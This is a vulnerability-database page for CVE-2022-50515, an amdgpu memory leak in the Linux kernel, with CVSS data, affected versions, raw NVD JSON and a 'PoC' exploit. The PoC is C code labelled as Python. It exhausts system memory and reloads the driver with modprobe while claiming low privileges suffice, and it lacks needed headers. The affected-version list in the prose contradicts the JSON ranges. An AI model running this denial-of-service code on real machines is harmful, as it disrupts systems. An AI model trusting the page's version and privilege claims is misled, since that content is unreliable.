Security Vulnerability Report
中文
CVE-2022-50515 CVSS 5.5 MEDIUM

CVE-2022-50515

Published: 2025-10-07 16:15:35
Last Modified: 2026-03-17 14:11:05
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Fix memory leak in hpd_rx_irq_create_workqueue() If construction of the array of work queues to handle hpd_rx_irq offload work fails, we need to unwind. Destroy all the created workqueues and the allocated memory for the hpd_rx_irq_offload_work_queue struct array.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux内核 < 5.15.72
Linux内核 5.16.x < 5.16.58
Linux内核 5.17.x < 5.17.14
Linux内核 5.18.x < 5.18.3
Linux内核drm/amdgpu驱动受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2022-50515 - Linux Kernel amdgpu memory leak // This PoC demonstrates the memory leak by repeatedly triggering // amdgpu module initialization under memory pressure conditions. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> /* * The vulnerability exists in hpd_rx_irq_create_workqueue() in * drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c * * When workqueue creation fails mid-loop, previously created * workqueues are not destroyed, causing memory leaks. * * To trigger this PoC: * 1. Run with low privileges (PR:L required) * 2. Create memory pressure to force alloc_workqueue() to fail * 3. Reload the amdgpu module to trigger hpd_rx_irq_create_workqueue() */ int main(int argc, char *argv[]) { int ret; pid_t pid; printf("CVE-2022-50515 PoC - amdgpu memory leak\n"); /* Fork a process to consume memory and create pressure */ pid = fork(); if (pid == 0) { /* Child: consume memory to create pressure */ size_t total = 0; while (1) { void *p = malloc(1024 * 1024); /* 1MB chunks */ if (!p) break; memset(p, 0, 1024 * 1024); total += 1024 * 1024; } printf("Consumed %zu bytes of memory\n", total); pause(); return 0; } /* Wait for memory pressure to build up */ sleep(2); /* Try to reload amdgpu module to trigger the vulnerable code path */ printf("Attempting to reload amdgpu module...\n"); ret = system("modprobe -r amdgpu 2>/dev/null"); if (ret != 0) { printf("Failed to remove amdgpu module (may not be loaded)\n"); } ret = system("modprobe amdgpu 2>/dev/null"); if (ret != 0) { printf("Failed to load amdgpu module\n"); kill(pid, SIGKILL); return 1; } printf("Module reloaded. Check kernel memory for leaks.\n"); printf("Repeat the process to accumulate memory leaks.\n"); /* Clean up */ kill(pid, SIGKILL); waitpid(pid, NULL, 0); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50515", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:35.113", "lastModified": "2026-03-17T14:11:04.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Fix memory leak in hpd_rx_irq_create_workqueue()\n\nIf construction of the array of work queues to handle hpd_rx_irq offload\nwork fails, we need to unwind. Destroy all the created workqueues and\nthe allocated memory for the hpd_rx_irq_offload_work_queue struct array."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.58", "versionEndExcluding": "5.15.75", "matchCriteriaId": "82A899D7-815D-472D-8521-92665E35F1AE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "5.19.17", "matchCriteriaId": "19B4C3A4-E5C3-41DC-BB14-BE72858E7D35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.3", "matchCriteriaId": "5BCD8201-B847-4442-B894-70D430128DEF"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3ba3814c00a4817eb1cd31eff08d921c40e5f3a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/600de40ed50c8b5ecb9c7a4f41eb882066c15a00", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7136f956c73c4ba50bfeb61653dfd6a9669ea915", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8b8da09da2701330e7f2c371655887e3d7defe90", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}